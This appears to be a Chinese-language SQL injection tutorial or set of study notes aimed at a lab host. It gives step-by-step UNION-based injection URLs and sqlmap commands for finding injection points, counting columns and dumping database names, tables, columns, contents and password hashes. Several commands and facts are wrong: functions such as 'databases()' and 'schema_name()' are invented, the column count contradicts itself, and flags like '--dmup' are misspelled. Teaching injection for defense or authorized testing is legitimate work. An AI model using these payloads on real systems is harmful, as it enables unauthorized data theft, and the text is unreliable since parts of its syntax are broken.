由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序
1、获取数据库名
2、获取表名
3、获取列名
4、获取数据
system_user() → 系统用户名
user() → 用户名
current_user → 当前用户名
session_user() → 连接数据库的用户名
databases() → 数据库名
version() → 数据库版本
load_file() → 读取本地文件的函数
@@datadir → 读取数据库路径
@@basedir → 安装路径
@@version_compile_os → 操作系统
left() → 从左侧开始指定字符个数的字符串
concat() → 没有分隔符的连接字符串
concat_ws() → 含有分割符的连接字符串
group_concat() → 连接一个组的字符串
ascii() → 返回ASCII码
hex() → 将字符串转换为十六进制
md5() → 返回MD5值
一般的,在页面与数据库交互的地方,利用语句过滤的不严格,使得恶意语句带入到数据库中进行查询。
http://172.16.1.116/about?id=1
http://172.16.1.116/about?id=2
……
也有可能不是“ id= ”的情况
比如
http://172.16.1.11/?dnc=1
具体要查看URL变化。
诸如这种id有变化的情况就怀疑有注入点
http://172.16.1.116/about?id=1'
如果此时页面报错,说明输入的这个单引号是有效果的
判断注入类型: 数字型/字符型
(1)数字型
在提交的时候是不带任何东西的
查询语句=id
如:
id=1
id=2
(2)字符型
在提交的时候会带单引号
查询语句='id'
如:
id='1'
id='2'
带入语句,例如:1=1 ↓
http://172.16.1.116/about?id=1 and 1=1
如果页面正常说明接受了这个语句
带入语句,例如:1=2 ↓
http://172.16.1.116/about?id=1 and 1=2
页面异常,表示也接受了这个语句。给出的条件是假的
因为根据简易逻辑,id=1为真,1=2为假,and表示两边同时满足,则给出的是fault。
此时判断该页面有注入点
在id=1的时候会列出一个表格,我们看到的结果是表格中的内容,当执行联合查询的语句(union select)的时候,会生成两个虚拟表,两个虚拟表的列数需要一致。
此时我们不知道表的列数,就需要order by这个语句判断列数
没有这个列就会报错;有这个列就会进行排序。
使用方法:order by 列数
例如:
order by 1
order by 3
……
当列数大于实际存在的列数时会报错,否则不会
如果“order by 4”不会报错,但“order by 5”会报错,则说明列数为3
有了列数以后就可以进行构造联合查询语句
由上得出:列数为4
可以构造联合查询语句
id=1 union select 1,2,3,4
此时要让前表出错,这样可以使后表执行
id=-1 union select 1,2,3,4
或者
id=1 and 1=2 union select 1,2,3,4
现象:返回了2和3
此时得出了回显位置是“2”和“3”的位置
此时可以在这些位置带入一些查询语句↓
id=1 union select 1,database(),version(),4
这样就返回了当前数据库和数据库的版本信息
以http://172.16.1.116/为例
按照注入流程↓
_1判断注入点
http://172.16.1.116/?id=1 and 1=1
http://172.16.1.116/?id=1 and 1=2
……
_2判断列数
http://172.16.1.116/?id=1 order by 10
http://172.16.1.116/?id=1 order by 3
http://172.16.1.116/?id=1 order by 4
……
_3找回显位置
http://172.16.1.116/?id=1 and 1=2 union select 1,2,3,4
_4获取数据库名
http://172.16.1.116/?id=1 union select 1,2,schema_name(),4 from information_schema.schemata
_5获取指定数据库下所有表名
http://172.16.1.116/?id=1 union select 1,2,table_name(),4 from information_schema.tables where table_schema='指定的数据库名字'
_6获取表中字段名
http://172.16.1.116/?id=1 union select 1,2,column_name,4 from information_schema.columns where table_schema='指定数据库的名字' and table_name='指定的表的名字'
_7获取数据
http://172.16.1.116/?id=1 union select 1,2,字段名,4 from 库名.表名
下载地址:http://sqlmap.org/
kali可以直接使用
-u → “URL”检测注入点
--dbs → 列出所有数据库的名字
--current-db → 列出当前数据库的名字
-D → 指定一个数据库
--tables → 列出表名
-T → 指定表名
--columns → 列出所有字段名
-C → 指定字段
--dump → 列出字段内容
--current-user → 当前用户
--current-db → 当前数据库
--is-dba → 是否是管理员
--hostname → 主机名
--users → 枚举用户
--passwords → 枚举用户密码哈希
--privilieges → 枚举用户权限
以http://172.16.1.116/为例
按照注入流程↓
_1判断注入点
sqlmap -u "http://172.16.1.116/?id=1" --batch
_2获取数据库名
sqlmap -u "http://172.16.1.116/?id=1" --batch --dbs
_3获取指定数据库下所有表名
sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 --tables
_4获取表中字段名
sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 -T 表名 --column
_5获取数据
sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 -T 表名 -C 字段1,字段2…… --dmup